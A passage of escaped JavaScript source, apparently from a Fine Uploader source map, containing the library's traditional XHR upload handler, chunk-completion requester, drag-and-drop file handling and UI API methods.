qq.Promise();\n\n            allChunksDoneRequester.complete(\n                    id,\n                    handler._createXhr(id),\n                    getChunksCompleteParams(id),\n                    spec.customHeaders.get(id)\n                )\n                .then(function(xhr) {\n                    promise.success(parseResponse(false, xhr), xhr);\n                }, function(xhr) {\n                    promise.failure(parseResponse(false, xhr), xhr);\n                });\n\n            return promise;\n        },\n\n        setParamsAndGetEntityToSend = function(params, xhr, fileOrBlob, id) {\n            var formData = new FormData(),\n                method = spec.method,\n                endpoint = spec.endpointStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n\n            if (multipart) {\n                params[spec.totalFileSizeName] = size;\n            }\n\n            //build query string\n            if (!spec.paramsInBody) {\n                if (!multipart) {\n                    params[spec.inputName] = name;\n                }\n                endpoint = qq.obj2url(params, endpoint);\n            }\n\n            xhr.open(method, endpoint, true);\n\n            if (spec.cors.expected && spec.cors.sendCredentials) {\n                xhr.withCredentials = true;\n            }\n\n            if (multipart) {\n                if (spec.paramsInBody) {\n                    qq.obj2FormData(params, formData);\n                }\n\n                formData.append(spec.inputName, fileOrBlob);\n                return formData;\n            }\n\n            return fileOrBlob;\n        },\n\n        setUploadHeaders = function(id, xhr) {\n            var extraHeaders = spec.customHeaders.get(id),\n                fileOrBlob = handler.getFile(id);\n\n            xhr.setRequestHeader(\"Accept\", \"application/json\");\n            xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n            xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n\n            if (!multipart) {\n                xhr.setRequestHeader(\"Content-Type\", \"application/octet-stream\");\n                //NOTE: return mime type in xhr works on chrome 16.0.9 firefox 11.0a2\n                xhr.setRequestHeader(\"X-Mime-Type\", fileOrBlob.type);\n            }\n\n            qq.each(extraHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        };\n\n    qq.extend(this, {\n        uploadChunk: function(id, chunkIdx, resuming) {\n            var chunkData = handler._getChunkData(id, chunkIdx),\n                xhr = handler._createXhr(id, chunkIdx),\n                size = getSize(id),\n                promise, toSend, params;\n\n            promise = createReadyStateChangedHandler(id, xhr);\n            handler._registerProgressHandler(id, chunkIdx, chunkData.size);\n            params = spec.paramsStore.get(id);\n            addChunkingSpecificParams(id, params, chunkData);\n\n            if (resuming) {\n                params[spec.resume.paramNames.resuming] = true;\n            }\n\n            toSend = setParamsAndGetEntityToSend(params, xhr, chunkData.blob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        },\n\n        uploadFile: function(id) {\n            var fileOrBlob = handler.getFile(id),\n                promise, xhr, params, toSend;\n\n            xhr = handler._createXhr(id);\n            handler._registerProgressHandler(id);\n            promise = createReadyStateChangedHandler(id, xhr);\n            params = spec.paramsStore.get(id);\n            toSend = setParamsAndGetEntityToSend(params, xhr, fileOrBlob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        }\n    });\n\n    qq.extend(this, new qq.XhrUploadHandler({\n        options: qq.extend({namespace: \"traditional\"}, spec),\n        proxy: qq.extend({getEndpoint: spec.endpointStore.get}, proxy)\n    }));\n\n    qq.override(this, function(super_) {\n        return {\n            finalizeChunks: function(id) {\n                if (spec.chunking.success.endpoint) {\n                    return sendChunksCompleteRequest(id);\n                }\n                else {\n                    return super_.finalizeChunks(id, qq.bind(parseResponse, this, true));\n                }\n            }\n        };\n    });\n};\n","/*globals qq*/\n/**\n * Ajax requester used to send a POST to a traditional endpoint once all chunks for a specific file have uploaded\n * successfully.\n *\n * @param o Options from the caller - will override the defaults.\n * @constructor\n */\nqq.traditional.AllChunksDoneAjaxRequester = function(o) {\n    \"use strict\";\n\n    var requester,\n        method = \"POST\",\n        options = {\n            cors: {\n                allowXdr: false,\n                expected: false,\n                sendCredentials: false\n            },\n            endpoint: null,\n            log: function(str, level) {}\n        },\n        promises = {},\n        endpointHandler = {\n            get: function(id) {\n                return options.endpoint;\n            }\n        };\n\n    qq.extend(options, o);\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [method],\n        method: method,\n        endpointStore: endpointHandler,\n        allowXRequestedWithAndCacheControl: false,\n        cors: options.cors,\n        log: options.log,\n        onComplete: function(id, xhr, isError) {\n            var promise = promises[id];\n\n            delete promises[id];\n\n            if (isError) {\n                promise.failure(xhr);\n            }\n            else {\n                promise.success(xhr);\n            }\n        }\n    }));\n\n    qq.extend(this, {\n        complete: function(id, xhr, params, headers) {\n            var promise = new qq.Promise();\n\n            options.log(\"Submitting All Chunks Done request for \" + id);\n\n            promises[id] = promise;\n\n            requester.initTransport(id)\n                .withParams(params)\n                .withHeaders(headers)\n                .send(xhr);\n\n            return promise;\n        }\n    });\n};\n","/*globals qq, document, CustomEvent*/\nqq.DragAndDrop = function(o) {\n    \"use strict\";\n\n    var options,\n        HIDE_ZONES_EVENT_NAME = \"qq-hidezones\",\n        HIDE_BEFORE_ENTER_ATTR = \"qq-hide-dropzone\",\n        uploadDropZones = [],\n        droppedFiles = [],\n        disposeSupport = new qq.DisposeSupport();\n\n    options = {\n        dropZoneElements: [],\n        allowMultipleItems: true,\n        classes: {\n            dropActive: null\n        },\n        callbacks: new qq.DragAndDrop.callbacks()\n    };\n\n    qq.extend(options, o, true);\n\n    function uploadDroppedFiles(files, uploadDropZone) {\n        // We need to convert the `FileList` to an actual `Array` to avoid iteration issues\n        var filesAsArray = Array.prototype.slice.call(files);\n\n        options.callbacks.dropLog(\"Grabbed \" + files.length + \" dropped files.\");\n        uploadDropZone.dropDisabled(false);\n        options.callbacks.processingDroppedFilesComplete(filesAsArray, uploadDropZone.getElement());\n    }\n\n    function traverseFileTree(entry) {\n        var parseEntryPromise = new qq.Promise();\n\n        if (entry.isFile) {\n            entry.file(function(file) {\n                var name = entry.name,\n                    fullPath = entry.fullPath,\n                    indexOfNameInFullPath = fullPath.indexOf(name);\n\n                // remove file name from full path string\n                fullPath = fullPath.substr(0, indexOfNameInFullPath);\n\n                // remove leading slash in full path string\n                if (fullPath.charAt(0) === \"/\") {\n                    fullPath = fullPath.substr(1);\n                }\n\n                file.qqPath = fullPath;\n                droppedFiles.push(file);\n                parseEntryPromise.success();\n            },\n            function(fileError) {\n                options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                parseEntryPromise.failure();\n            });\n        }\n        else if (entry.isDirectory) {\n            getFilesInDirectory(entry).then(\n                function allEntriesRead(entries) {\n                    var entriesLeft = entries.length;\n\n                    qq.each(entries, function(idx, entry) {\n                        traverseFileTree(entry).done(function() {\n                            entriesLeft -= 1;\n\n                            if (entriesLeft === 0) {\n                                parseEntryPromise.success();\n                            }\n                        });\n                    });\n\n                    if (!entries.length) {\n                        parseEntryPromise.success();\n                    }\n                },\n\n                function readFailure(fileError) {\n                    options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                    parseEntryPromise.failure();\n                }\n            );\n        }\n\n        return parseEntryPromise;\n    }\n\n    // Promissory.  Guaranteed to read all files in the root of the passed directory.\n    function getFilesInDirectory(entry, reader, accumEntries, existingPromise) {\n        var promise = existingPromise || new qq.Promise(),\n            dirReader = reader || entry.createReader();\n\n        dirReader.readEntries(\n            function readSuccess(entries) {\n                var newEntries = accumEntries ? accumEntries.concat(entries) : entries;\n\n                if (entries.length) {\n                    setTimeout(function() { // prevent stack overflow, however unlikely\n                        getFilesInDirectory(entry, dirReader, newEntries, promise);\n                    }, 0);\n                }\n                else {\n                    promise.success(newEntries);\n                }\n            },\n\n            promise.failure\n        );\n\n        return promise;\n    }\n\n    function handleDataTransfer(dataTransfer, uploadDropZone) {\n        var pendingFolderPromises = [],\n            handleDataTransferPromise = new qq.Promise();\n\n        options.callbacks.processingDroppedFiles();\n        uploadDropZone.dropDisabled(true);\n\n        if (dataTransfer.files.length > 1 && !options.allowMultipleItems) {\n            options.callbacks.processingDroppedFilesComplete([]);\n            options.callbacks.dropError(\"tooManyFilesError\", \"\");\n            uploadDropZone.dropDisabled(false);\n            handleDataTransferPromise.failure();\n        }\n        else {\n            droppedFiles = [];\n\n            if (qq.isFolderDropSupported(dataTransfer)) {\n                qq.each(dataTransfer.items, function(idx, item) {\n                    var entry = item.webkitGetAsEntry();\n\n                    if (entry) {\n                        //due to a bug in Chrome's File System API impl - #149735\n                        if (entry.isFile) {\n                            droppedFiles.push(item.getAsFile());\n                        }\n\n                        else {\n                            pendingFolderPromises.push(traverseFileTree(entry).done(function() {\n                                pendingFolderPromises.pop();\n                                if (pendingFolderPromises.length === 0) {\n                                    handleDataTransferPromise.success();\n                                }\n                            }));\n                        }\n                    }\n                });\n            }\n            else {\n                droppedFiles = dataTransfer.files;\n            }\n\n            if (pendingFolderPromises.length === 0) {\n                handleDataTransferPromise.success();\n            }\n        }\n\n        return handleDataTransferPromise;\n    }\n\n    function setupDropzone(dropArea) {\n        var dropZone = new qq.UploadDropZone({\n            HIDE_ZONES_EVENT_NAME: HIDE_ZONES_EVENT_NAME,\n            element: dropArea,\n            onEnter: function(e) {\n                qq(dropArea).addClass(options.classes.dropActive);\n                e.stopPropagation();\n            },\n            onLeaveNotDescendants: function(e) {\n                qq(dropArea).removeClass(options.classes.dropActive);\n            },\n            onDrop: function(e) {\n                handleDataTransfer(e.dataTransfer, dropZone).then(\n                    function() {\n                        uploadDroppedFiles(droppedFiles, dropZone);\n                    },\n                    function() {\n                        options.callbacks.dropLog(\"Drop event DataTransfer parsing failed.  No files will be uploaded.\", \"error\");\n                    }\n                );\n            }\n        });\n\n        disposeSupport.addDisposer(function() {\n            dropZone.dispose();\n        });\n\n        qq(dropArea).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropArea).hide();\n\n        uploadDropZones.push(dropZone);\n\n        return dropZone;\n    }\n\n    function isFileDrag(dragEvent) {\n        var fileDrag;\n\n        qq.each(dragEvent.dataTransfer.types, function(key, val) {\n            if (val === \"Files\") {\n                fileDrag = true;\n                return false;\n            }\n        });\n\n        return fileDrag;\n    }\n\n    // Attempt to determine when the file has left the document.  It is not always possible to detect this\n    // in all cases, but it is generally possible in all browsers, with a few exceptions.\n    //\n    // Exceptions:\n    // * IE10+ & Safari: We can't detect a file leaving the document if the Explorer window housing the file\n    //                   overlays the browser window.\n    // * IE10+: If the file is dragged out of the window too quickly, IE does not set the expected values of the\n    //          event's X & Y properties.\n    function leavingDocumentOut(e) {\n        if (qq.firefox()) {\n            return !e.relatedTarget;\n        }\n\n        if (qq.safari()) {\n            return e.x < 0 || e.y < 0;\n        }\n\n        return e.x === 0 && e.y === 0;\n    }\n\n    function setupDragDrop() {\n        var dropZones = options.dropZoneElements,\n\n            maybeHideDropZones = function() {\n                setTimeout(function() {\n                    qq.each(dropZones, function(idx, dropZone) {\n                        qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropZone).hide();\n                        qq(dropZone).removeClass(options.classes.dropActive);\n                    });\n                }, 10);\n            };\n\n        qq.each(dropZones, function(idx, dropZone) {\n            var uploadDropZone = setupDropzone(dropZone);\n\n            // IE <= 9 does not support the File API used for drag+drop uploads\n            if (dropZones.length && qq.supportedFeatures.fileDrop) {\n                disposeSupport.attach(document, \"dragenter\", function(e) {\n                    if (!uploadDropZone.dropDisabled() && isFileDrag(e)) {\n                        qq.each(dropZones, function(idx, dropZone) {\n                            // We can't apply styles to non-HTMLElements, since they lack the `style` property.\n                            // Also, if the drop zone isn't initially hidden, let's not mess with `style.display`.\n                            if (dropZone instanceof HTMLElement &&\n                                qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR)) {\n\n                                qq(dropZone).css({display: \"block\"});\n                            }\n                        });\n                    }\n                });\n            }\n        });\n\n        disposeSupport.attach(document, \"dragleave\", function(e) {\n            if (leavingDocumentOut(e)) {\n                maybeHideDropZones();\n            }\n        });\n\n        // Just in case we were not able to detect when a dragged file has left the document,\n        // hide all relevant drop zones the next time the mouse enters the document.\n        // Note that mouse events such as this one are not fired during drag operations.\n        disposeSupport.attach(qq(document).children()[0], \"mouseenter\", function(e) {\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, \"drop\", function(e) {\n            e.preventDefault();\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, HIDE_ZONES_EVENT_NAME, maybeHideDropZones);\n    }\n\n    setupDragDrop();\n\n    qq.extend(this, {\n        setupExtraDropzone: function(element) {\n            options.dropZoneElements.push(element);\n            setupDropzone(element);\n        },\n\n        removeDropzone: function(element) {\n            var i,\n                dzs = options.dropZoneElements;\n\n            for (i in dzs) {\n                if (dzs[i] === element) {\n                    return dzs.splice(i, 1);\n                }\n            }\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n            qq.each(uploadDropZones, function(idx, dropZone) {\n                dropZone.dispose();\n            });\n        }\n    });\n};\n\nqq.DragAndDrop.callbacks = function() {\n    \"use strict\";\n\n    return {\n        processingDroppedFiles: function() {},\n        processingDroppedFilesComplete: function(files, targetEl) {},\n        dropError: function(code, errorSpecifics) {\n            qq.log(\"Drag & drop error code '\" + code + \" with these specifics: '\" + errorSpecifics + \"'\", \"error\");\n        },\n        dropLog: function(message, level) {\n            qq.log(message, level);\n        }\n    };\n};\n\nqq.UploadDropZone = function(o) {\n    \"use strict\";\n\n    var disposeSupport = new qq.DisposeSupport(),\n        options, element, preventDrop, dropOutsideDisabled;\n\n    options = {\n        element: null,\n        onEnter: function(e) {},\n        onLeave: function(e) {},\n        // is not fired when leaving element by hovering descendants\n        onLeaveNotDescendants: function(e) {},\n        onDrop: function(e) {}\n    };\n\n    qq.extend(options, o);\n    element = options.element;\n\n    function dragoverShouldBeCanceled() {\n        return qq.safari() || (qq.firefox() && qq.windows());\n    }\n\n    function disableDropOutside(e) {\n        // run only once for all instances\n        if (!dropOutsideDisabled) {\n\n            // for these cases we need to catch onDrop to reset dropArea\n            if (dragoverShouldBeCanceled) {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    e.preventDefault();\n                });\n            } else {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    if (e.dataTransfer) {\n                        e.dataTransfer.dropEffect = \"none\";\n                        e.preventDefault();\n                    }\n                });\n            }\n\n            dropOutsideDisabled = true;\n        }\n    }\n\n    function isValidFileDrag(e) {\n        // e.dataTransfer currently causing IE errors\n        // IE9 does NOT support file API, so drag-and-drop is not possible\n        if (!qq.supportedFeatures.fileDrop) {\n            return false;\n        }\n\n        var effectTest, dt = e.dataTransfer,\n        // do not check dt.types.contains in webkit, because it crashes safari 4\n        isSafari = qq.safari();\n\n        // dt.effectAllowed is none in Safari 5\n        // dt.types.contains check is for firefox\n\n        // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n        // the filesystem\n        effectTest = qq.ie() && qq.supportedFeatures.fileDrop ? true : dt.effectAllowed !== \"none\";\n        return dt && effectTest && (dt.files || (!isSafari && dt.types.contains && dt.types.contains(\"Files\")));\n    }\n\n    function isOrSetDropDisabled(isDisabled) {\n        if (isDisabled !== undefined) {\n            preventDrop = isDisabled;\n        }\n        return preventDrop;\n    }\n\n    function triggerHidezonesEvent() {\n        var hideZonesEvent;\n\n        function triggerUsingOldApi() {\n            hideZonesEvent = document.createEvent(\"Event\");\n            hideZonesEvent.initEvent(options.HIDE_ZONES_EVENT_NAME, true, true);\n        }\n\n        if (window.CustomEvent) {\n            try {\n                hideZonesEvent = new CustomEvent(options.HIDE_ZONES_EVENT_NAME);\n            }\n            catch (err) {\n                triggerUsingOldApi();\n            }\n        }\n        else {\n            triggerUsingOldApi();\n        }\n\n        document.dispatchEvent(hideZonesEvent);\n    }\n\n    function attachEvents() {\n        disposeSupport.attach(element, \"dragover\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n            // the filesystem\n            var effect = qq.ie() && qq.supportedFeatures.fileDrop ? null : e.dataTransfer.effectAllowed;\n            if (effect === \"move\" || effect === \"linkMove\") {\n                e.dataTransfer.dropEffect = \"move\"; // for FF (only move allowed)\n            } else {\n                e.dataTransfer.dropEffect = \"copy\"; // for Chrome\n            }\n\n            e.stopPropagation();\n            e.preventDefault();\n        });\n\n        disposeSupport.attach(element, \"dragenter\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n                options.onEnter(e);\n            }\n        });\n\n        disposeSupport.attach(element, \"dragleave\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            options.onLeave(e);\n\n            var relatedTarget = document.elementFromPoint(e.clientX, e.clientY);\n            // do not fire when moving a mouse over a descendant\n            if (qq(this).contains(relatedTarget)) {\n                return;\n            }\n\n            options.onLeaveNotDescendants(e);\n        });\n\n        disposeSupport.attach(element, \"drop\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n\n                e.preventDefault();\n                e.stopPropagation();\n                options.onDrop(e);\n\n                triggerHidezonesEvent();\n            }\n        });\n    }\n\n    disableDropOutside();\n    attachEvents();\n\n    qq.extend(this, {\n        dropDisabled: function(isDisabled) {\n            return isOrSetDropDisabled(isDisabled);\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n        },\n\n        getElement: function() {\n            return element;\n        }\n    });\n};\n","/*globals qq */\n/**\n * Defines the public API for FineUploader mode.\n */\n(function() {\n    \"use strict\";\n\n    qq.uiPublicApi = {\n        addInitialFiles: function(cannedFileList) {\n            this._parent.prototype.addInitialFiles.apply(this, arguments);\n            this._templating.addCacheToDom();\n        },\n\n        clearStoredFiles: function() {\n            this._parent.prototype.clearStoredFiles.apply(this, arguments);\n            this._templating.clearFiles();\n        },\n\n        addExtraDropzone: function(element) {\n            this._dnd && this._dnd.setupExtraDropzone(element);\n        },\n\n        removeExtraDropzone: function(element) {\n            if (this._dnd) {\n                return this._dnd.removeDropzone(element);\n            }\n        },\n\n        getItemByFileId: function(id) {\n            if (!this._templating.isHiddenForever(id)) {\n                return this._templating.getFileContainer(id);\n            }\n        },\n\n        reset: function() {\n            this._parent.prototype.reset.apply(this, arguments);\n            this._templating.reset();\n\n            if (!this._options.button && this._templating.getButton()) {\n                this._defaultButtonId = this._createUploadButton({\n                    element: this._templating.getButton(),\n                    title: this._options.text.fileInputTitle\n                }).getButtonId();\n            }\n\n            if (this._dnd) {\n                this._dnd.dispose();\n                this._dnd = this._setupDragAndDrop();\n            }\n\n            this._totalFilesInBatch = 0;\n            this._filesInBatchAddedToUi = 0;\n\n            this._setupClickAndEditEventHandlers();\n        },\n\n        setName: function(id, newName) {\n            var formattedFilename = this._options.formatFileName(newName);\n\n            this._parent.prototype.setName.apply(this, arguments);\n            this._templating.updateFilename(id, formattedFilename);\n        },\n\n        pauseUpload: function(id) {\n            var paused = this._parent.prototype.pauseUpload.apply(this, arguments);\n\n            paused && this._templating.uploadPaused(id);\n            return paused;\n        },\n\n        continueUpload: function(id) {\n            var continued = this._parent.prototype.continueUpload.apply(this, arguments);\n\n            continued && this._templating.uploadContinued(id);\n            return continued;\n        },\n\n        getId: function(fileContainerOrChildEl) {\n            return this._templating.getFileId(fileContainerOrChildEl);\n        },\n\n        getDropTarget: function(fileId) {\n            var file = this.getFile(fileId);\n\n            return file.qqDropTarget;\n        }\n    };\n\n    /**\n     * Defines the private (internal) API for FineUploader mode.\n     */\n    qq.uiPrivateApi = {\n        _getButton: function(buttonId) {\n            var button = this._parent.prototype._getButton.apply(this, arguments);\n\n            if (!button) {\n                if (buttonId === this._defaultButtonId) {\n                    button = this._templating.getButton();\n                }\n            }\n\n            return button;\n        },\n\n        _removeFileItem: function(fileId) {\n            this._templating.removeFile(fileId);\n        },\n\n        _setupClickAndEditEventHandlers: function() {\n            this._fileButtonsClickHandler = qq.FileButtonsClickHandler && this._bindFileButtonsClickEvent();\n\n            // A better approach would be to check specifically for focusin event support by querying the DOM API,\n            // but the DOMFocusIn event is not exposed as a property, so we have to resort to UA string sniffing.\n            this._focusinEventSupported = !qq.firefox();\n\n            if (this._isEditFilenameEnabled())\n            {\n                this._filenameClickHandler = this._bindFilenameClickEvent();\n                this._filenameInputFocusInHandler = this._bindFilenameInputFocusInEvent();\n                this._filenameInputFocusHandler = this._bindFilenameInputFocusEvent();\n            }\n        },\n\n        _setupDragAndDrop: function() {\n            var self = this,\n                dropZoneElements = this._options.dragAndDrop.extraDropzones,\n                templating = this._templating,\n                defaultDropZone = templating.getDropZone();\n\n            defaultDropZone && dropZoneElements.push(defaultDropZone);\n\n            return new qq.DragAndDrop({\n                dropZoneElements: dropZoneElements,\n                allowMultipleItems: this._options.multiple,\n                classes: {\n                    dropActive: this._options.classes.dropActive\n                },\n                callbacks: {\n                    processingDroppedFiles: function() {\n                        templating.showDropProcessing();\n                    },\n                    processingDroppedFilesComplete: function(files, targetEl) {\n                        templating.hideDropProcessing();\n\n                        qq.each(files, function(idx, file) {\n                            file.qqDropTarget = targetEl;\n                        });\n\n                        if (files.length) {\n                            self.addFiles(files, null, null);\n                        }\n                    },\n                    dropError: function(code, errorData) {\n                        self._itemError(code, errorData);\n                    },\n                    dropLog: function(message, level) {\n                        self.log(message, level);\n                    }\n                }\n            });\n        },\n\n        _bindFileButtonsClickEvent: function() {\n            var self = this;\n\n            return new qq.FileButtonsClickHandler({\n                templating: this._templating,\n\n                log: function(message, lvl) {\n                    self.log(message, lvl);\n                },\n\n                onDeleteFile: function(fileId) {\n                    self.deleteFile(fileId);\n                },\n\n                onCancel: function(fileId) {\n                    self.cancel(fileId);\n                },\n\n                onRetry: function(fileId) {\n                    self.retry(fileId);\n                },\n\n                onPause: function(fileId) {\n                    self.pauseUpload(fileId);\n                },\n\n                onContinue: function(fileId) {\n                    self.continueUpload(fileId);\n                },\n\n                onGetName: function(fileId) {\n                    return self.getName(fileId);\n                }\n            });\n        },\n\n        _isEditFilenameEnabled: function() {\n            /*jshint -W014 */\n            return this._templating.isEditFilenamePossible()\n                && !this._options.autoUpload\n                && qq.FilenameClickHandler\n                && qq.FilenameInputFocusHandler\n                && qq.FilenameInputFocusHandler;\n        },\n\n        _filenameEditHandler: function() {\n            var self = this,\n                templating = this._templating;\n\n            return {\n                templating: templating,\n                log: function(message, lvl) {\n                    self.log(message, lvl);\n                },\n                onGetUploadStatus: function(fileId) {\n                    return self.getUploads({id: fileId}).status;\n                },\n                onGetName: function(fileId) {\n                    return self.getName(fileId);\n                },\n                onSetName: function(id, newName) {\n                    self.setName(id, newName);\n                },\n                onEditingStatusChange: function(id, isEditing) {\n                    var qqInput = qq(templating.getEditInput(id)),\n                        qqFileContainer = qq(templating.getFileContainer(id));\n\n                    if (isEditing) {\n                        qqInput.addClass(\"qq-editing\");\n                        templating.hideFilename(id);\n                        templating.hideEditIcon(id);\n                    }\n                    else {\n                        qqInput.removeClass(\"qq-editing\");\n                        templating.showFilename(id);\n                        templating.showEditIcon(id);\n                    }\n\n                    // Force IE8 and older to repaint\n                    qqFileContainer.addClass(\"qq-temp\").removeClass(\"qq-temp\");\n                }\n            };\n        },\n\n        _onUploadStatusChange: function(id, oldStatus, newStatus) {\n            this._parent.prototype._onUploadStatusChange.apply(this, arguments);\n\n            if (this._isEditFilenameEnabled()) {\n                // Status for a file exists before it has been added to the DOM, so we must be careful here.\n                if (this._templating.getFileContainer(id) && newStatus !== qq.status.SUBMITTED) {\n                    this._templating.markFilenameEditable(id);\n                    this._templating.hideEditIcon(id);\n                }\n            }\n\n            if (newStatus === qq.status.UPLOAD_RETRYING) {\n                this._templating.hideRetry(id);\n                this._templating.setStatusText(id);\n                qq(this._templating.getFileContainer(id)).removeClass(this._classes.retrying);\n            }\n            else if (newStatus === qq.status.UPLOAD_FAILED) {\n                this._templating.hidePause(id);\n            }\n        },\n\n        _bindFilenameInputFocusInEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameInputFocusInHandler(spec);\n        },\n\n        _bindFilenameInputFocusEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameInputFocusHandler(spec);\n        },\n\n        _bindFilenameClickEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameClickHandler(spec);\n        },\n\n        _storeForLater: function(id) {\n            this._parent.prototype._storeForLater.apply(this, arguments);\n            this._templating.hideSpinner(id);\n        },\n\n        _onAllComplete: function(successful, failed) {\n            this._parent.prototype._onAllComplete.apply(this, arguments);\n            this._templating.resetTotalProgress();\n        },\n\n        _onSubmit: function(id, name) {\n            var file = this.getFile(id);\n\n            if (file && file.qqPath && this._options.dragAndDrop.reportDirectoryPaths) {\n                this._paramsStore.addReadOnly(id, {\n                    qqpath: file.qqPath\n                });\n            }\n\n            this._parent.prototype._onSubmit.apply(this, arguments);\n            this._addToList(id, name);\n        },\n\n        // The file item has been added to the DOM.\n        _onSubmitted: function(id) {\n            // If the edit filename feature is enabled, mark the filename element as \"editable\" and the associated edit icon\n            if (this._isEditFilenameEnabled()) {\n                this._templating.markFilenameEditable(id);\n                this._templating.showEditIcon(id);\n\n                // If the focusin event is not supported, we must add a focus handler to the newly create edit filename text input\n                if (!this._focusinEventSupported) {\n                    this._filenameInputFocusHandler.addHandler(this._templating.getEditInput(id));\n                }\n            }\n        },\n\n        // Update the progress bar & percentage as the file is uploaded\n        _onProgress: function(id, name, loaded, total) {\n            this._parent.prototype._onProgress.apply(this, arguments);\n\n            this._templating.updateProgress(id, loaded, total);\n\n            if (Math.round(loaded / total * 100) === 100) {\n                this._templating.hideCancel(id);\n                this._templating.hidePause(id);\n                this._templating.hideProgress(id);\n                this._templating.setStatusText(id, this._options.text.waitingForResponse);\n\n                // If ~last byte was sent, display total file size\n                this._displayFileSize(id);\n            }\n            else {\n                // If still uploading, display percentage - total size is actually the total request(s) size\n                this._displayFileSize(id, loaded, total);\n            }\n        },\n\n        _onTotalProgress: function(loaded, total) {\n            this._parent.prototype._onTotalProgress.apply(this, arguments);\n            this._templating.updateTotalProgress(loaded, total);\n        },\n\n        _onComplete: function(id, name, result, xhr) {\n            var parentRetVal = this._parent.prototype._onComplete.apply(this, arguments),\n                templating = this._templating,\n                fileContainer = templating.getFileContainer(id),\n                self = this;\n\n            function completeUpload(result) {\n                // If this file is not represented in the templating module, perhaps it was hidden intentionally.\n                // If so, don't perform any UI-related tasks related to this file.\n                if (!fileContainer) {\n                    return;\n                }\n\n                templating.setStatusText(id);\n\n                qq(fileContainer).removeClass(self._classes.retrying);\n                templating.hideProgress(id);\n\n                if (self.getUploads({id: id}).status !== qq.status.UPLOAD_FAILED) {\n                    templating.hideCancel(id);\n                }\n                templating.hideSpinner(id);\n\n                if (result.success) {\n                    self._markFileAsSuccessful(id);\n                }\n                else {\n                    qq(fileContainer).addClass(self._classes.fail);\n                    templating.showCancel(id);\n\n                    if (templating.isRetryPossible() && !self._preventRetries[id]) {\n                        qq(fileContainer).addClass(self._classes.retryable);\n                        templating.showRetry(id);\n                    }\n                    self._controlFailureTextDisplay(id, result);\n                }\n            }\n\n            // The parent may need to perform some async operation before we can accurately determine the status of the upload.\n            if (parentRetVal instanceof qq.Promise) {\n                parentRetVal.done(function(newResult) {\n                    completeUpload(newResult);\n                });\n\n            }\n            else {\n                completeUpload(result);\n            }\n\n            return parentRetVal;\n        },\n\n        _markFileAsSuccessful: function(id) {\n            var templating = this._templating;\n\n            if (this._isDeletePossible()) {\n                templating.showDeleteButton(id);\n            }\n\n            qq(templating.getFileContainer(id)).addClass(this._classes.success);\n\n            this._maybeUpdateThumbnail(id);\n        },\n\n        _onUploadPrep: function(id) {\n            this._parent.prototype._onUploadPrep.apply(this, arguments);\n            this._templating.showSpinner(id);\n        },\n\n        _onUpload: function(id, name) {\n            var parentRetVal = this._parent.prototype._onUpload.apply(this, arguments);\n\n            this._templating.showSpinner(id);\n\n            return parentRetVal;\n        },\n\n        _onUploadChunk: function(id, chunkData) {\n            this._parent.prototype._onUploadChunk.apply(this, arguments);\n\n            // Only display the pause button if we have finished uploading at least one chunk\n            // & this file can be resumed\n            if (chunkData.partIndex > 0 && this._handler.isResumable(id)) {\n                this._templating.allowPause(id);\n            }\n        },\n\n        _onCancel: function(id, name) {\n            this._parent.prototype._onCancel.apply(this, arguments);\n            this._removeFileItem(id);\n\n            if (this._getNotFinished() === 0) {\n                this._templating.resetTotalProgress();\n            }\n        },\n\n        _onBeforeAutoRetry: function(id) {\n            var retryNumForDisplay, maxAuto, retryNote;\n\n            this._parent.prototype._onBeforeAutoRetry.apply(this, arguments);\n\n            this._showCancelLink(id);\n\n            if (this._options.retry.showAutoRetryNote) {\n                retryNumForDisplay = this._autoRetries[id];\n                maxAuto = this._options.retry.maxAutoAttempts;\n\n                retryNote = this._options.retry.autoRetryNote.replace(/\\{retryNum\\}/g, retryNumForDisplay);\n                retryNote = retryNote.replace(/\\{maxAuto\\}/g, maxAuto);\n\n                this._templating.setStatusText(id, retryNote);\n                qq(this._templating.getFileContainer(id)).addClass(this._classes.retrying);\n            }\n        },\n\n        //return false if we should not attempt the requested retry\n        _onBeforeManualRetry: function(id) {\n            if (this._parent.prototype._onBeforeManualRetry.apply(this, arguments)) {\n                this._templating.resetProgress(id);\n                qq(this._templating.getFileContainer(id)).removeClass(this._classes.fail);\n                this._templating.setStatusText(id);\n                this._templating.showSpinner(id);\n                this._showCancelLink(id);\n                return true;\n            }\n            else {\n                qq(this._templating.getFileContainer(id)).addClass(this._classes.retryable);\n                this._templating.showRetry(id);\n                return false;\n            }\n        },\n\n        